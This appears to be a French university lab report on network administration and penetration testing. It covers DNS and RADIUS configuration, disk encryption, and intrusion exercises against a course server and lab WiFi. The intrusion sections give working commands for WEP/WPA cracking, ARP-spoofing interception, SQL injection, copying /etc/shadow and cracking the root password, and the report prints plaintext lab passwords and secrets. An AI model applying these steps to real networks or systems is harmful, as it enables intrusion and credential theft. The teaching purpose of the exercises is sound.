TP sysres IMA5sc 2020/2021 G12

De Wiki d'activités IMA

TP PRA Quentin Normand / Maxime Claudel - truffe

4. Services Internet

4.1. Configuration des DNS

Dans un premier temps il a fallu réserver un nom de domaine dans la section Glue Records sur gandi.net :

ns1.truffe.site

Configuration de bind

Installation du paquet nécessaire :

sudo apt-get install bind9

Changement dans le fichier /etc/resolv.conf pour avoir une connexion :

nameserver 127.0.0.1

Configuration des options de transfert d'information :

Dans le fichier /etc/bind/named.conf.options, on modifie comme ci-dessous.

options {
       directory "/var/cache/bind";
       listen-on-v6 { any; };
       allow-transfer { "allowed_to_transfer"; };
       };
acl "allowed_to_transfer" { 217.70.177.40/32; };

Configuration du DNS dans la zone truffe.site :

On travaille maintenant dans le fichier /etc/bind/named.conf.local.

On souhaite créer une zone truffe.site de type master.

On ajoute aussi le chemin vers son fichier de configuration (fichier à créer a posteriori).

Finalement, on autorise le transfert d'informations vers le DNS primaire associé à l'adresse suivante  : 217.70.177.40

zone "truffe.site" IN {
       type master;
       file "/etc/bind/db.truffe.site";
       allow-transfer {217.70.177.40;};
};

Configuration de la zone truffe.site :

En s'inspirant du fichier /etc/bind/db.local déjà présent, on crée un fichier /etc/bind/db.truffe.site.

On y ajoute les serveurs DNS principaux et secondaires ns1.truffe.site et ns6.gandi.net ainsi que l'adresse ip de notre VM sous ns1.

Il faut également modifier localhost et root.localhost et incrémenter le Serial.

$TTL    604800
@       IN      SOA     ns1.truffe.site. postmaster.truffe.site. (
                             4         ; Serial
                        604800         ; Refresh
                         86400         ; Retry
                       2419200         ; Expire
                        604800 )       ; Negative Cache TTL
;
@       IN      NS      ns1.truffe.site
@       IN      NS      ns6.gandi.net
ns1     IN      A       193.48.57.177

Finalement, on oublie pas de relancer le service bind9 :

service bind9 restart

On peut ensuite changer les serveurs de noms sur gandi.net.

5. Tests d'intrusion

5.2 Cassage de clef WEP d'un point d'accès WiFi

Afin de réaliser le craquage de mot de passe, on utilise les paquets aircrack-ng. Dans un premier temps on recherche les interfaces réseaux du pc avec la commande suivante:

 airmon-ng

On peut ensuite démarrer l'interface Wi-Pi en mode monitor avec la commande:

 airmon-ng start wlx40a5ef05a110

L'interface réseau a été renommé suite à cela en wlan0mon.

On peut donc ensuite lancer un scan des réseaux wifi WEP avec la commande:

 airmon-ng --encrypt wep wlan0mon

On peut maintenant choisir un réseaux à craquer en capturant les paquets du réseau choisi avec la commande suivante:

 airdump-ng --write kracotte12 --channel 3 --bssid 00:14:1C:60:8C:2B wlan0mon

Et enfin lancer le craquage via la commande:

 aircrack-ng -z kracotte12-01.cap


5.3 Cassage de mot de passe WPA-PSK par force brute

On utilise encore une fois aircrack-ng.

On commence donc par les commandes suivantes:

 airmon-ng
 airmon-ng start wlx40a5ef05a110

L'interface réseau a été renommé suite à cela en wlan0mon.

On peut donc lancer la commande suivante:

 airodump-ng wlan0mon

On récupère ainsi le BSSID et le canal de krakotte12. On cherche alors à récupérer le handshake via la commande suivante:

 airodump-ng  --bssid 00:14:1B:60:8C:2B wlan0mon --channel 5 --write hand

On obtient:

Handshake12.png

On créée donc un dictionnaire pour faire la force brute sachant que le mot de passe est composé que de chiffres et est de longueur 8.

 crunch 8 8 1234567890 > dico

Et ensuite on peut lancer:

 aircrack-ng hand-01.cap -w dico

5.4 Attaque de type "homme au milieu" par usurpation ARP

On commence par installer dsniff sur le pc. On passe ensuite le eeepc en mode routeur avec la commande:

 sysctl -w .net.ipv4.ip_forward=1

On insère ensuite le eeePC entre la zabeth (ici zabeth06) et le routeur via la commande:

 arpspoof -i eth0 -t 172.26.145.56 172.26.145.254

On lance ensuite wireshark afin de capturer les paquets échangés avec le filtre suivant:

 ip.addr == 172.26.145.56

5.5 Intrusion sur un serveur d’application Web

L'objectif de cette partie est de se connecter en ssh en tant que root sur le serveur honey.plil.info.

Pour cela, dans un navigateur web, on examine l'application, et on tente une injection SQL dans le champ identifiant via la commande:

 'OR 1=1#

On obtient ainsi une liste d'utilisateurs avec les mots de passe associés.

On peut donc désormais se connecter à l'application avec l'identifiant admin et son mot de passe jesuislechef.

Par la suite, on a pu voir les différents manuels, et en ajouter un avec le chemin /etc/phpmyadmin/config-db. En téléchargeant le fichier nouvellement créé, on a pu récupérer le mot de passe gencovid19. En se connectant en root avec ce mot de passe à phpmyadmin on a pu rentrer dans la table users et récupérer le login rex et le mot de passe associé plainpassword.

On a donc pu se connecter en SSH au serveur:

 ssh rex@honey.plil.info

On a ensuite utilisé les commandes suivantes pour récupérer les fichiers /etc/passwd et /etx/shadow:

 scp rex@honey.plil.info:/etc/shadow shadow_rex
 scp rex@honey.plil.info:/etc/passwd passwd_rex

Ces deux fichiers vont nous permettre de récupérer le mot de passe root par force brute via l'utilitaire johnthereaper.

Cependant, grâce aux indications données, nous pouvons limité la force brute aux mots de passe formé de 2chaines identiques de 4 caractères. On va donc dans un premier temps créer un dictionnaire de mots de 4 caractères:

 crunch 4 4 abcdefghijklmnopqrstuvwxyz > dico

Puis le transformer en dictionnaire de mots de 8 caractères en doublant les mots présents:

 sed -i 's/\(.*\)/\1\1/'

Maintenant que nous avons un dictionnaire adéquat, nous pouvons nous consacrer au craquage du mot de passe pleinement. Nous allons regrouper passwd_rex et shadow_rex avec la commande suivante:

 unshadow /home/passwd_rex /home/shadow_rex | head > password

Puis utiliser la force brute avec la commande:

 john -w:dico password

On obtient alors le mot de passe root suivant: fortfort

On peut alors se connecter en SSH:

 ssh root@honey.plil.info

Puis ajouter un fichier:

 touch Normand_Claudel_grp12

6. Réalisations

6.1 Sécurisation de données

6.2 Chiffrement de données

On commence par installer les paquets lvm2 et cryptsetup.

On trouve le nom de la clef USB avec la commande lsblk. La clef est donc sda et est déjà chiffrée. On réinitialise la clef avec la commande suivante:

 mkfs.ext4 /dev/sda

Il y a bien un message de confirmation pour écraser la partition cryptée existante.


On initialise ensuite la partition avec la commande:

 sudo cryptsetup luksFormat /dev/sda

On nous demande alors le mot de passe que l'on souhaite utiliser pour déchiffrer la clef. (Le mot de passe root des zabeth a été utilisé pour la clef).

Pour connecter votre nouveau conteneur chiffré au système d’exploitation, on utilise de nouveau cryptsetup :

 sudo cryptsetup luksOpen /dev/sda usb

Le conteneur est maintenant accessible depuis le périphérique virtuel /dev/mapper/usb.

Pour formater le périphérique virtuel, on utile mkfs:

 sudo mkfs.ext4 /dev/mapper/usb

Pour déconnecter le conteneur on utilise luksClose.

Ubuntu reconnait alors automatiquement la clef chriffré et demande le mot de passe pour accéder à la partition.

Si la distribution ne reconnaît pas automatiquement la clef, on peut par exemple exécuter les commandes suivantes:

 cryptsetup luksOpen /dev/sda usb
 mkdir /mnt/usb
 mount /dev/mapper/usb /mnt/usb

Et pour démonter la clef:

 umount /mnt/usb
 cryptsetup luksClose usb

6.3 Inspection ARP par un élément réseau

6.4 Sécurisation WiFi par WPA2-EAP

Sécurisation

wifi-ima5sc(config)#aaa authentication login eap_group12 group radius_group12 
wifi-ima5sc(config)#radius-server host 193.48.57.177 auth-port 1812 acct-port 1813 key secret_group12  
wifi-ima5sc(config)#aaa group server radius radius_group12
wifi-ima5sc(config-sg-radius)#server 193.48.57.177 auth-port 1812 acct-port 1813
wifi-ima5sc(config-sg-radius)#dot11 ssid SSID_GROUP12
wifi-ima5sc(config-ssid)#mbssid guest-mode
wifi-ima5sc(config-ssid)#vlan 312 
wifi-ima5sc(config-ssid)#authentication open eap eap_group12
wifi-ima5sc(config-ssid)#authentication network-eap eap_group12
wifi-ima5sc(config-ssid)#authentication key-management wpa


wifi-ima5sc(config-ssid)#interface Dot11Radio0
wifi-ima5sc(config-if)#encryption vlan 312 mode ciphers aes-ccm tkip
wifi-ima5sc(config-if)#mbssid                                       
wifi-ima5sc(config-if)#ssid SSID_GROUP12
wifi-ima5sc(config)#int Dot11radio0.12
wifi-ima5sc(config-subif)#encapsulation dot1q 312
wifi-ima5sc(config-subif)#bridge-group 12
wifi-ima5sc(config)# int Gi0.12
wifi-ima5sc(config-subif)# encapsulation dot1q 312
wifi-ima5sc(config-subif)# bridge-group 12

Freeradius

Dans /etc/freeradius/3.0/users

pifou Cleartext-Password := "pasglop"

Dans /etc/freeradius/3.0/client.conf

client truffe_wifi {
    ipaddr = 10.60.100.10
    secret = secret_group12
}

Dans /etc/freeradius/3.0/mods-enabled/eap

default_eap_type = peap

7. Ferme de serveurs WEB

7.1 Architecture générale de la ferme

On ajoute d'abord une seconde interface réseau dans la VM sur CAPBRETON. L'adresse MAC sera celle de eth0 incrémenté de 1.

ifconfig eth1 up

Pour rendre l'interface visible. On modifie ensuite le /etc/network/interfaces.

On ajoute une mascarade dans la machine sur CAPBRETON: (l'ip sur chassiron est 192.168.42.12)

iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.42.12
iptables -A FORWARD -j ACCEPT -d 192.168.42.12
iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.12 --to-source 193.48.57.177
iptables-save

On passe ensuite /proc/sys/net/ipv4/ip_forward à 1.

Génération de clef publique:

cat /root/.ssh/id_rsa.pub | ssh ip_cible "cat >> /root/.ssh/authorized_keys2"

7.2 Installation de docker

Installation de docker avec la commande suivante:

ansible-galaxy install geerlingguy.docker

On modifie cela dans le playbook:

docker_apt_gpg_key: https://download.docker.com/linux/debian/gpg
docker_apt_repository: deb [arch=amd64] https://download.docker.com/linux/debian buster stable

7.3 Création de votre docker

7.4 Configuration de vos serveurs internes

7.5 Équilibreur de charge